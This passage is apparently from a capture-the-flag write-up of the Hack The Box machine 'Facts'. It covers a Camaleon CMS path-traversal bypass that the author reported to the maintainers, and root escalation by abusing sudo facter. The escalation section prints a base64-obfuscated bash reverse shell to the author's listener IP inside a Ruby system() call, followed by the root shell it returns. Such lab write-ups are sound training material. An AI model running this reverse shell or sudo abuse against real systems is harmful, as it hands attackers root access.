.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">trivia@facts</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="unintended-way---path-traversal">Unintended Way - Path Traversal:</h3>

<p>At the time, I did not know SSH keys could contain comment fields, so I spent a lot of time looking for hints of the user in the CMS itself. I was also watching the HTB Discord channel, and saw quite a few people mentioning path traversals. This led me to <a href="https://github.com/advisories/GHSA-cp65-5m9r-vc2c">CVE-2024-46987</a>, an authenticated path traversal vulnerability that enables arbitrary file read. However, the advisory stated that it had been patched since version 2.8.1, so it should be irrelevant here. I tried it anyway, and to my shock, it worked:</p>

<p><img src="/assets/images/posts/facts/path_traversal_passwd.png" alt="" /></p>

<p>The <code class="language-plaintext highlighter-rouge">/etc/passwd</code> file can be read, revealing the <code class="language-plaintext highlighter-rouge">trivia</code> user. The vulnerability is also exploitable by any authenticated user, so I can read its SSH key this way, skipping the privilege escalation and S3 access entirely.</p>

<p><img src="/assets/images/posts/facts/path_traversal_key.png" alt="" /></p>

<p>I was still confused about how this was all possible, so I dug further into the vulnerability.</p>

<p>According to the <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-46987">CVE details</a>:</p>

<blockquote>
  <p>A path traversal vulnerability accessible via MediaController’s <code class="language-plaintext highlighter-rouge">download_private_file</code> method allows authenticated users to download any file on the web server Camaleon CMS is running on (depending on the file permissions).</p>
</blockquote>

<p>The vulnerable code was the <code class="language-plaintext highlighter-rouge">download_private_file()</code> function in <code class="language-plaintext highlighter-rouge">app/controllers/camaleon_cms/admin/media_controller.rb</code>:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># download private files</span>
<span class="k">def</span> <span class="nf">download_private_file</span>
  <span class="n">cama_uploader</span><span class="p">.</span><span class="nf">enable_private_mode!</span>

  <span class="n">sanitize_private_filename!</span>
  <span class="k">return</span> <span class="n">render</span><span class="p">(</span><span class="ss">plain: </span><span class="s1">'Invalid file'</span><span class="p">,</span> <span class="ss">status: :forbidden</span><span class="p">)</span> <span class="k">unless</span> <span class="vi">@private_file_path</span>

  <span class="n">fetched</span> <span class="o">=</span> <span class="n">cama_uploader</span><span class="p">.</span><span class="nf">fetch_file</span><span class="p">(</span><span class="vi">@private_file_path</span><span class="p">)</span>

  <span class="k">return</span> <span class="n">render</span> <span class="ss">plain: </span><span class="n">helpers</span><span class="p">.</span><span class="nf">sanitize</span><span class="p">(</span><span class="n">fetched</span><span class="p">[</span><span class="ss">:error</span><span class="p">])</span> <span class="k">if</span> <span class="n">fetched</span><span class="p">.</span><span class="nf">is_a?</span><span class="p">(</span><span class="no">Hash</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">fetched</span><span class="p">[</span><span class="ss">:error</span><span class="p">].</span><span class="nf">present?</span>

  <span class="n">send_file</span> <span class="n">fetched</span><span class="p">,</span> <span class="ss">disposition: </span><span class="s1">'inline'</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">fetch_file()</code> function is defined in either <code class="language-plaintext highlighter-rouge">app/uploaders/camaleon_cms_local_uploader.rb </code> or <code class="language-plaintext highlighter-rouge">app/uploaders/camaleon_cms_aws_uploader.rb</code>, depending on the configuration. The implementation in both were the same:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">fetch_file</span><span class="p">(</span><span class="n">file_name</span><span class="p">)</span>
    <span class="k">raise</span> <span class="no">ActionController</span><span class="o">::</span><span class="no">RoutingError</span><span class="p">,</span> <span class="s1">'File not found'</span> <span class="k">unless</span> <span class="n">file_exists?</span><span class="p">(</span><span class="n">file_name</span><span class="p">)</span>

    <span class="n">file_name</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The <a href="https://github.com/owen2345/camaleon-cms/commit/071b1b09d6d61ab02a5960b1ccafd9d9c2155a3e">patch commit</a> introduced additional logic to reject file names containing path traversal characters in <code class="language-plaintext highlighter-rouge">camaleon_cms_local_uploader.rb</code>:</p>

<p><img src="/assets/images/posts/facts/unintended_patch_commit.png" alt="" /></p>

<p>However, the same was not applied in <code class="language-plaintext highlighter-rouge">camaleon_cms_aws_uploader.rb</code>:</p>

<p><img src="/assets/images/posts/facts/unintended_aws_fail.png" alt="" /></p>

<p>Since this box is configured to use AWS, the insecure <code class="language-plaintext highlighter-rouge">fetch_file()</code> is called when downloading files, re-introducing the vulnerability.</p>

<p>I reached out to the maintainers via email, and they responded promptly and patched the issue with <a href="https://github.com/owen2345/camaleon-cms/pull/1127">this PR</a>.</p>

<p><img src="/assets/images/posts/facts/email_response.png" alt="" /></p>

<h3 id="user-flag">User Flag:</h3>

<p>Another user <code class="language-plaintext highlighter-rouge">william</code>’s home directory is world-readable, and contains the user flag.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Facts</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">trivia@facts</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">cat /home/william/user.txt</span>

<span class="linux-output">4da8b82b************************</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />
<h2 id="escalation">Escalation:</h2>
<h3 id="sudo-rights">Sudo Rights:</h3>

<p><code class="language-plaintext highlighter-rouge">trivia</code> can run <code class="language-plaintext highlighter-rouge">facter</code> as <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Facts</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">trivia@facts</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">sudo -l</span>

<span class="linux-output">Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p><a href="https://github.com/puppetlabs/facter">Facter</a> is a CLI tool that:</p>

<blockquote>
  <p>gathers basic facts about nodes (systems) such as hardware details, network settings, OS type and version, and more.</p>
</blockquote>

<p>Basically it gathers extended system info. <a href="https://gtfobins.org/gtfobins/facter/">GTFOBins</a> also has a sudo exploit for it. There’s an argument <code class="language-plaintext highlighter-rouge">--custom-dir</code> that lets you specify a folder, and it will execute the first Ruby script found in it. With sudo, this means root execution.</p>

<p>I’ll drop a simple Ruby script in my home directory that simply creates a <code class="language-plaintext highlighter-rouge">pwned</code> file:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">system</span><span class="p">(</span><span class="s2">"touch /tmp/pwned"</span><span class="p">)</span>
</code></pre></div></div>

<p>I’ll then run <code class="language-plaintext highlighter-rouge">facter</code> with <code class="language-plaintext highlighter-rouge">--custom-dir</code> pointing to my home directory. It dumped out a bunch of system info:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Facts</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">trivia@facts</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">sudo facter --custom-dir=/home/trivia</span>

<span class="linux-output">disks =&gt; {
  sda =&gt; {
    model =&gt; "Virtual disk",
    serial =&gt; "6000c29ad00b3c6e86e036bb0cceb128",
    size =&gt; "10.00 GiB",
    size_bytes =&gt; 10737418240,
    type =&gt; "ssd",
    vendor =&gt; "VMware",
    wwn =&gt; "0x6000c29ad00b3c6e86e036bb0cceb128"
  }
}
dmi =&gt; {
  bios =&gt; {
    release_date =&gt; "11/12/2020",
    vendor =&gt; "Phoenix Technologies LTD",
    version =&gt; "6.00"
..SNIP..</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>However, in <code class="language-plaintext highlighter-rouge">/tmp</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Facts</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">trivia@facts</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la /tmp</span>

<span class="linux-output">total 4
drwxrwxrwt 12 root root  260 Feb  1 13:36 .
drwxr-xr-x 20 root root 4096 Jan 28 15:15 ..
drwxrwxrwt  2 root root   40 Feb  1 12:26 .font-unix
drwxrwxrwt  2 root root   40 Feb  1 12:26 .ICE-unix
-rw-r--r--  1 root root    0 Feb  1 13:36 pwned
drwx------  3 root root   60 Feb  1 12:26 snap-private-tmp
drwx------  3 root root   60 Feb  1 12:26 systemd-private-2b67cb2157014349bb99fa52a55ae6bd-ModemManager.service-5FYqC8
drwx------  3 root root   60 Feb  1 12:26 systemd-private-2b67cb2157014349bb99fa52a55ae6bd-polkit.service-1ywfmL
drwx------  3 root root   60 Feb  1 12:26 systemd-private-2b67cb2157014349bb99fa52a55ae6bd-systemd-logind.service-i72vCa
drwx------  3 root root   60 Feb  1 13:14 systemd-private-2b67cb2157014349bb99fa52a55ae6bd-upower.service-rvg8zL
drwx------  2 root root   40 Feb  1 12:28 vmware-root_863-3980167256
drwxrwxrwt  2 root root   40 Feb  1 12:26 .X11-unix
drwxrwxrwt  2 root root   40 Feb  1 12:26 .XIM-unix</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Root execution successful. I’ll update the Ruby script to a reverse shell payload:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">system</span><span class="p">(</span><span class="s2">"echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEyLzgwMDEgMD4mMQ== | base64 -d | bash"</span><span class="p">)</span>
</code></pre></div></div>

<p>Then run <code class="language-plaintext highlighter-rouge">sudo facter</code> again, this time it hangs. On my listener, a root shell is sent back:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [10.10.14.12] from (UNKNOWN) [10.129.225.196] 50584
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">root@facts</span>:<span class="linux-path">/home/trivia</span><span class="linux-char">#</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=0(root) gid=0(root) groups=0(root)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="root-shell">Root Shell:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Facts</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">root@facts</span>:<span class="linux-path">~</span><span class="linux-char">#</span></span> <span class="linux-bash">cat root.txt</span>

<span class="linux-output">941c0367************************</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
